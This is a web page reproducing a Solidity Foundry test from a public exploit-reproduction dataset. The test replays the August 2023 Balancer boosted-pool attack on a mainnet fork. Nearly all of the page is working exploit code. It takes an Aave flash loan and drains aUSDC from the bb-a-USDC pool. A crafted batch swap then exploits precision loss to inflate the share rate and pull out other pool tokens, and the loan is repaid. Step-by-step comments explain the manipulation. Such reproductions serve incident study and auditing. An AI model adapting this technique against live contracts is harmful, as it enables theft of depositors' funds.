Skip to content
THREATWIRE

Public reproduction file

src/test/2023-08/Balancer_exp.sol

Public reproduction file for dataset entry Balancer.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-08/Balancer_exp.sol219 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/console.sol";
5import "forge-std/Test.sol";
6import "../test/../interface.sol";
7
8// @KeyInfo - Total Lost : ~2M
9// Attacker : https://etherscan.io/address/0xed187f37e5ad87d5b3b2624c01de56c5862b7a9b
10// Attack Contract : https://etherscan.io/address/0x2100dcd8758ab8b89b9b545a43a1e47e8e2944f0
11// Vulnerable Contract : https://etherscan.io/address/0x9210f1204b5a24742eba12f710636d76240df3d0
12// Attack Tx : https://etherscan.io/tx/0x2a027c8b915c3737942f512fc5d26fd15752d0332353b3059de771a35a606c2d
14// @Info
15// Vulnerable Contract Code : https://etherscan.io/address/0x9210f1204b5a24742eba12f710636d76240df3d0#code
17// @Analysis
18// Post-mortem : https://blocksecteam.medium.com/yet-another-risk-posed-by-precision-loss-an-in-depth-analysis-of-the-recent-balancer-incident-fad93a3c75d4
19// Post-mortem : https://medium.com/balancer-protocol/rate-manipulation-in-balancer-boosted-pools-technical-postmortem-53db4b642492
20// Twitter Guy : https://twitter.com/wavey0x/status/1702311454689357851
22interface BBToken is IERC20 {
23 function getVirtualSupply() external view returns (uint256);
26contract ContractTest is Test {
27 IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
28 IERC20 USDT = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);
29 IERC20 DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);
30 IAaveFlashloan aave = IAaveFlashloan(0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2);
31 IERC20 aUSDC = IERC20(0xd093fA4Fb80D09bB30817FDcd442d4d02eD3E5de);
32 IERC20 aDAI = IERC20(0x02d60b84491589974263d922D9cC7a3152618Ef6);
33 Uni_Router_V2 Router = Uni_Router_V2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
34 IBalancerVault balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
35 BBToken bbaUSDC = BBToken(0x9210F1204b5a24742Eba12f710636D76240dF3d0);
36 BBToken bbaDAI = BBToken(0x804CdB9116a10bB78768D3252355a1b18067bF8f);
37 BBToken bbaUSDT = BBToken(0x2BBf681cC4eb09218BEe85EA2a5d3D13Fa40fC0C);
38 IERC20 bbaUSD = IERC20(0x7B50775383d3D6f0215A8F290f2C9e2eEBBEceb2);
40 function setUp() public {
41 vm.createSelectFork("mainnet", 18_004_651);
42 vm.label(address(USDT), "USDT");
43 vm.label(address(USDC), "USDC");
44 vm.label(address(DAI), "DAI");
45 vm.label(address(aave), "AAVE");
46 vm.label(address(balancer), "Balancer");
47 vm.label(address(bbaUSDC), "bb-a-USDC");
48 vm.label(address(bbaDAI), "bb-a-DAI");
49 vm.label(address(bbaUSD), "bb-a-USD");
50 vm.label(address(bbaUSDT), "bb-a-USDT");
51 vm.label(address(Router), "Router");
52 }
54 function testExploit() public {
55 address[] memory assets = new address[](1);
56 assets[0] = address(USDC);
57 uint256[] memory amounts = new uint256[](1);
58 amounts[0] = 300_000 * 1e6;
59 uint256[] memory interestRateModes = new uint256[](2);
60 interestRateModes[0] = 0;
61 interestRateModes[1] = 0;
62 aave.flashLoan(address(this), assets, amounts, interestRateModes, address(this), bytes(""), 0);
64 emit log_named_decimal_uint(
65 "Attacker USDT balance after exploit", USDT.balanceOf(address(this)), USDT.decimals()
66 );
68 emit log_named_decimal_uint("Attacker DAI balance after exploit", DAI.balanceOf(address(this)), DAI.decimals());
69 }
71 function executeOperation(
72 address[] calldata assets,
73 uint256[] calldata amounts,
74 uint256[] calldata premiums,
75 address initiator,
76 bytes calldata params
77 ) external returns (bool) {
78 bytes32 targetPool = 0x9210f1204b5a24742eba12f710636d76240df3d00000000000000000000000fc; // bb-a-USDC, USDC, aUSDC pool
79 bytes32 bbaUSDPool = 0x7b50775383d3d6f0215a8f290f2c9e2eebbeceb20000000000000000000000fe; // bb-a-USDC, bb-a-DAI, bb-a-USDT pool
81 // 1 drain all aUSDC from target pool
82 {
83 (, uint256[] memory poolBalance,) = balancer.getPoolTokens(targetPool);
84 USDC.approve(address(balancer), type(uint256).max);
85 balancer.swap(
86 IBalancerVault.SingleSwap(
87 targetPool,
88 IBalancerVault.SwapKind.GIVEN_OUT,
89 address(USDC),
90 address(aUSDC),
91 poolBalance[2],
92 bytes("")
93 ),
94 IBalancerVault.FundManagement(address(this), false, payable(address(this)), false),
95 amounts[0],
96 block.timestamp
97 );
98 }
100 uint256 virtualSupply = bbaUSDC.getVirtualSupply();
102 // 2 batch swap
103 bbaUSDC.approve(address(balancer), type(uint256).max);
104 {
105 address[] memory assets = new address[](8);
106 assets[0] = address(USDC);
107 assets[1] = address(aUSDC);
108 assets[2] = address(bbaUSDC);
109 assets[3] = address(bbaDAI);
110 assets[4] = address(DAI);
111 assets[5] = address(aDAI);
112 assets[6] = address(bbaUSD);
113 assets[7] = address(bbaUSDT);
114 int256[] memory limits = new int256[](8);
115 limits[0] = type(int256).max;
116 limits[1] = type(int256).max;
117 limits[2] = type(int256).max;
118 limits[3] = type(int256).max;
119 limits[4] = type(int256).max;
120 limits[5] = type(int256).max;
121 limits[6] = type(int256).max;
122 limits[7] = type(int256).max;
124 IBalancerVault.BatchSwapStep[] memory steps = new IBalancerVault.BatchSwapStep[](7);
125 steps[0] = IBalancerVault.BatchSwapStep(
126 targetPool, 2, 0, virtualSupply - 775_114_420_171 - 20_000_000_000, bytes("")
127 ); // bb-a-USDC -> USDC borrow bb-a-usdc by batchswap, burn almost all virtualSupply, make rate manipulation easier
128 steps[1] = IBalancerVault.BatchSwapStep(targetPool, 2, 0, 775_114_420_171, bytes("")); // bb-a-USDC -> USDC swap out zero USDC due to precision loss, inflate share(bb-a-usdc) price
129 steps[2] = IBalancerVault.BatchSwapStep(bbaUSDPool, 2, 3, 1e18, bytes("")); // bb-a-USDC -> bb-a-DAI updating inflated prices to the cache
130 steps[3] = IBalancerVault.BatchSwapStep(bbaUSDPool, 2, 3, 7300 * 1e18, bytes("")); // bb-a-USDC -> bb-a-DAI profit by exchanging bb-a-usdc after manipulated price
131 steps[4] = IBalancerVault.BatchSwapStep(bbaUSDPool, 2, 7, 14_000 * 1e18, bytes("")); // bb-a-USDC -> bb-a-USDT profit by exchanging bb-a-usdc after manipulated price
132 steps[5] = IBalancerVault.BatchSwapStep(targetPool, 2, 0, 20_000_000_000, bytes("")); // bb-a-USDC -> USDC Bring virtualSupply to 0, reset bb-a-usdc price to 1
133 steps[6] = IBalancerVault.BatchSwapStep(targetPool, 0, 2, 150_000 * 1e6, bytes("")); // USDC -> bb-a-USDC repay batch swap borrow
134 balancer.batchSwap(
135 IBalancerVault.SwapKind.GIVEN_IN,
136 steps,
137 assets,
138 IBalancerVault.FundManagement(address(this), false, payable(address(this)), false),
139 limits,
140 2 ** 32
141 );
142 }
144 // 3 swap bb-token to USDC/DAI/USDT
146 uint256 repayAmount = amounts[0] + premiums[0];
147 bbtokenTo_USDC_DAI_USDT(repayAmount);
149 USDC.approve(address(aave), repayAmount);
151 return true;
152 }
154 function bbtokenTo_USDC_DAI_USDT(
155 uint256 repayAmount
156 ) internal {
157 bytes32 targetPool = 0x9210f1204b5a24742eba12f710636d76240df3d00000000000000000000000fc;
158 bytes32 bbaDAIPool = 0x804cdb9116a10bb78768d3252355a1b18067bf8f0000000000000000000000fb;
159 bytes32 bbaUSDTPool = 0x2bbf681cc4eb09218bee85ea2a5d3d13fa40fc0c0000000000000000000000fd;
161 // swap bb-a-dai to DAI
162 bbaDAI.approve(address(balancer), type(uint256).max);
163 balancer.swap(
164 IBalancerVault.SingleSwap(
165 bbaDAIPool,
166 IBalancerVault.SwapKind.GIVEN_IN,
167 address(bbaDAI),
168 address(DAI),
169 bbaDAI.balanceOf(address(this)),
170 bytes("")
171 ),
172 IBalancerVault.FundManagement(address(this), false, payable(address(this)), false),
173 0,
174 block.timestamp
175 );
177 // swap bb-a-usdc to USDC
178 bbaUSDC.approve(address(balancer), type(uint256).max);
179 balancer.swap(
180 IBalancerVault.SingleSwap(
181 targetPool,
182 IBalancerVault.SwapKind.GIVEN_IN,
183 address(bbaUSDC),
184 address(USDC),
185 bbaUSDC.balanceOf(address(this)),
186 bytes("")
187 ),
188 IBalancerVault.FundManagement(address(this), false, payable(address(this)), false),
189 0,
190 block.timestamp
191 );
193 // swap bb-a-usdt to USDT
194 bbaUSDT.approve(address(balancer), type(uint256).max);
195 balancer.swap(
196 IBalancerVault.SingleSwap(
197 bbaUSDTPool,
198 IBalancerVault.SwapKind.GIVEN_IN,
199 address(bbaUSDT),
200 address(USDT),
201 bbaUSDT.balanceOf(address(this)),
202 bytes("")
203 ),
204 IBalancerVault.FundManagement(address(this), false, payable(address(this)), false),
205 0,
206 block.timestamp
207 );
209 // swap DAI to USDC, repay flashloan
210 uint256 amount = repayAmount - USDC.balanceOf(address(this));
211 DAI.approve(address(Router), type(uint256).max);
212 address[] memory path = new address[](2);
213 path[0] = address(DAI);
214 path[1] = address(USDC);
215 Router.swapTokensForExactTokens(amount, DAI.balanceOf(address(this)), path, address(this), block.timestamp);
216 }
218 receive() external payable {}

Analysis

Dataset entry

Public Foundry test for “Balancer” (2023-08-27). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

17 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xed187f37e5ad87d5b3b2624c01de56c5862b7a9b

  • Attack Contract

    0x2100dcd8758ab8b89b9b545a43a1e47e8e2944f0

  • Vulnerable Contract

    0x9210f1204b5a24742eba12f710636d76240df3d0

  • Attack Tx

    0x2a027c8b915c3737942f512fc5d26fd15752d0332353b3059de771a35a606c2d

File record

Name
Balancer
Path
src/test/2023-08/Balancer_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
4e3ceb72aeb3ca5991f7bccabf8293a610a5d472
Language
Solidity
Size
220 lines
Date
2023-08-27
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-08/Balancer_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 4e3ceb72aeb3ca5991f7bccabf8293a610a5d472, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.